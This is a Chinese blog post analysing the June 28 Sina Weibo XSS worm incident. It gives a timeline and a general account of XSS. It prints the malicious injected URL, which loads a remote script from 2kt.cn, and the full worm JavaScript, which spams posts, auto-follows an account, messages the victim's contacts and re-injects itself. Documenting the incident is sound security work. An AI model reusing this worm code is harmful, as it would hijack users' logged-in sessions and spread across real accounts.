新浪微博XSS攻击事件

http://blog.csdn.net/terryzero/article/details/6575078 6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博消息和私信,并自动关注一位名为hellosamy的用户。

  事件的经过线索如下:

  • 20:14,开始有大量带V的认证用户中招转发蠕虫
  • 20:30,2kt.cn中的病毒页面无法访问
  • 20:32,新浪微博中hellosamy用户无法访问
  • 21:02,新浪漏洞修补完毕

  新浪微博XSS事件

  在这里,想和大家介绍一下XSS攻击,XSS攻击又叫跨站脚本式攻击,你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。

首先,我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如果你 运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器 上的程序通话。这就是XSS攻击的最基本思路。

  再说一点,不一定是“记住你的用户名和密码”或是“自动登录”的方法,因为HTTP是无状态 的协 议,所以,几乎所有的网站都会在你的浏览器上设置cookie来记录状态,以便在其多个网页中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗 口运行,也就是说,你在同一个父进程下开的多个页面或窗口里都可以无偿使用你登录状态的。

  当然,你不必过于担心访问别的网站,在别的网站里的js代码会访问你的微博或是网银的登录页面。因为浏览器的安全性让js只能访问自己所在网站的资源。当然,这是浏览器做的检查,所以,浏览器并不一定会做这个检查,这就是为什么IE6是史上最不安全的浏览器,没有之一。只要你不在用IE6,应该没有这些问题。

  XSS攻击有两种方法,

  • 一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进 行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
  • 另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如 社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。

  这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn 短链接服务,将链接指向:

代码:


[xhtml] view plaincopy

  1. http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

  注意,上面URL链接中的其实就是

代码:

< script src="//www.2kt.cn/images/t.js"></script>

攻击者并不一定是2kt.cn的人,因为.cn被国家严格管制,所以,我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。

其它

  • 初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
  • 史上最著名的XSS攻击是Yahoo Mail 的Yamanner蠕 虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术,这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送攻击代码给他人。
  • 为什么那个用户叫hellosamy,因为samy是第一个XSS攻击性的蠕虫病毒,在MySpace上传播。
  • 关于攻击的代码在这里:06.28_sina_XSS.txt (编码风格还是很不错的)

[javascript] view plaincopy

  1. function createXHR(){
  2. return window.XMLHttpRequest?
  3. new XMLHttpRequest():
  4. new ActiveXObject("Microsoft.XMLHTTP");
  5. }
  6. function getappkey(url){
  7. xmlHttp = createXHR();
  8. xmlHttp.open("GET",url,false);
  9. xmlHttp.send();
  10. result = xmlHttp.responseText;
  11. id_arr = ‘‘;
  12. id = result.match(/namecard=/"true/" title=/"[^/"]*/g);
  13. for(i=0;i<id.length;i++){
  14. sum = id[i].toString().split(‘"‘)[3];
  15. id_arr += sum + ‘||‘;
  16. }
  17. return id_arr;
  18. }
  19. function random_msg(){
  20. link = ‘ http://163.fm/PxZHoxn?id=‘ + new Date().getTime();;
  21. var msgs = [
  22. ‘郭美美事件的一些未注意到的细节:‘,
  23. ‘建党大业中穿帮的地方:‘,
  24. ‘让女人心动的100句诗歌:‘,
  25. ‘3D肉团团高清普通话版种子:‘,
  26. ‘这是传说中的神仙眷侣啊:‘,
  27. ‘惊爆!范冰冰艳照真流出了:‘,
  28. ‘杨幂被爆多次被潜规则:‘,
  29. ‘傻仔拿锤子去抢银行:‘,
  30. ‘可以监听别人手机的软件:‘,
  31. ‘个税起征点有望提到4000:‘];
  32. var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
  33. msg = encodeURIComponent(msg);
  34. return msg;
  35. }
  36. function post(url,data,sync){
  37. xmlHttp = createXHR();
  38. xmlHttp.open("POST",url,sync);
  39. xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  40. xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
  41. xmlHttp.send(data);
  42. }
  43. function publish(){
  44. url = ‘http://weibo.com/mblog/publish.php?rnd=‘ + new Date().getTime();
  45. data = ‘content=‘ + random_msg() + ‘&pic=&styleid=2&retcode=‘;
  46. post(url,data,true);
  47. }
  48. function follow(){
  49. url = ‘http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=‘ + new Date().getTime();
  50. data = ‘uid=‘ + 2201270010 + ‘&fromuid=‘ + $CONFIG.$uid + ‘&refer_sort=profile&atnId=profile‘;
  51. post(url,data,true);
  52. }
  53. function message(){
  54. url = ‘http://weibo.com/‘ + $CONFIG.$uid + ‘/follow‘;
  55. ids = getappkey(url);
  56. id = ids.split(‘||‘);
  57. for(i=0;i<id.length - 1 & i<5;i++){
  58. msgurl = ‘http://weibo.com/message/addmsg.php?rnd=‘ + new Date().getTime();
  59. msg = random_msg();
  60. msg = encodeURIComponent(msg);
  61. user = encodeURIComponent(encodeURIComponent(id[i]));
  62. data = ‘content=‘ + msg + ‘&name=‘ + user + ‘&retcode=‘;
  63. post(msgurl,data,false);
  64. }
  65. }
  66. function main(){
  67. try{
  68. publish();
  69. }
  70. catch(e){}
  71. try{
  72. follow();
  73. }
  74. catch(e){}
  75. try{
  76. message();
  77. }
  78. catch(e){}
  79. }
  80. try{
  81. x="g=document.createElement(‘script‘);g.src=‘http://www.2kt.cn/images/t.js‘;document.body.appendChild(g)";window.opener.eval(x);
  82. }
  83. catch(e){}
  84. main();
  85. var t=setTimeout(‘location="http://weibo.com/pub/topic";‘,5000);
时间: 2024-10-27 18:15:18

新浪微博XSS攻击事件的相关文章

新浪微博XSS攻击源代码下载(2012.06.28_sina_XSS.txt)

function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Microsoft.XMLHTTP"); } function post(url,data,sync){ xmlHttp = createXHR(); xmlHttp.open("POST",url,sync); xmlHttp.setRequestHeader("Acce

XSS 防范XSS 攻击的措施

首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流程如下: 恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器 这里给出一些防范XSS 攻击的措施.必须说明的是,对于XSS 攻击,并不像SQL Injection 那样可以有一劳永逸的解决方案——只需要grep 一下所有的sql

转:前段安全之XSS攻击

前端安全 原文链接:https://www.freebuf.com/articles/web/185654.html 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点.在移动互联网时代,前端人员除了传统的 XSS.CSRF 等安全问题之外,又时常遭遇网络劫持.非法调用 Hybrid API 等新型安全问题.当然,浏览器自身也在不断在进化和发展,不断引入 CSP.Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁

SQL 注入、XSS 攻击、CSRF 攻击

SQL 注入.XSS 攻击.CSRF 攻击 SQL 注入 什么是 SQL 注入 SQL 注入,顾名思义就是通过注入 SQL 命令来进行攻击,更确切地说攻击者把 SQL 命令插入到 web 表单或请求参数的查询字符串里面提交给服务器,从而让服务器执行编写的恶意的 SQL 命令. 对于 web 开发者来说,SQL 注入已然是非常熟悉的,而且 SQL 注入已经生存了 10 多年,目前已经有很成熟的防范方法,所以目前的 web 应用都很少会存在漏洞允许进行 SQL 注入攻击. 除非是入门开发人员,在开发

超强XSS攻击利器

======================================================================= BackTrack 5 R1 XSS研究之XSSer(超强XSS攻击利器)使用说明中文版 XSSer使用说明 ================================================================ 简介: ======================================================

开启CSP网页安全政策防止XSS攻击

 一.简介 CSP是网页安全政策(Content Security Policy)的缩写.是一种由开发者定义的安全性政策申明,通过CSP所约束的责任指定可信的内容来源,(内容可以是指脚本.图片.style 等远程资源).通过CSP协定,可以防止XSS攻击,让web处一个安全运行的环境中. CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单.它的实现和执行全部由浏览器完成,开发者只需提供配置.CSP 大大增强了网页的安全性.攻击者即使发现了漏洞,也没法

XSS攻击的解决方法

在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今天通过阅读<白帽子讲Web安全>这本书,对应对方式有了更好的总结,分为两类,一是服务端可以干的事,二是客户端可以干的事. 前提 在说XSS解决方式时,有一个前提.就是同源策略——浏览器的同源策略(浏览器安全的基础,即使是攻击脚本也要遵守这法则),限制了来自不同源的“document”或脚本,对当前

关于Web安全的那些事(XSS攻击)

概述 XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库.Click劫持.相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌. 攻击的条件 实施XSS攻击需要具备两个条件: 一.需要向web页面注入恶意代码: 二.这些恶意代码能够被浏览

XSS攻击之窃取Cookie

译者按: 10年前的博客似乎有点老了,但是XSS攻击的威胁依然还在,我们不得不防. 原文: XSS - Stealing Cookies 101 译者: Fundebug 为了保证可读性,本文采用意译而非直译.另外,本文版权归原作者所有,翻译仅用于学习. 窃取Cookie是非常简单的,因此不要轻易相信客户端所声明的身份.即便这个Cookie是在数秒之前验证过,那也未必是真的,尤其当你仅使用Cookie验证客户端的时候. 2006年1月,LiveJournal遭到了XSS攻击,这个事件足以警示我们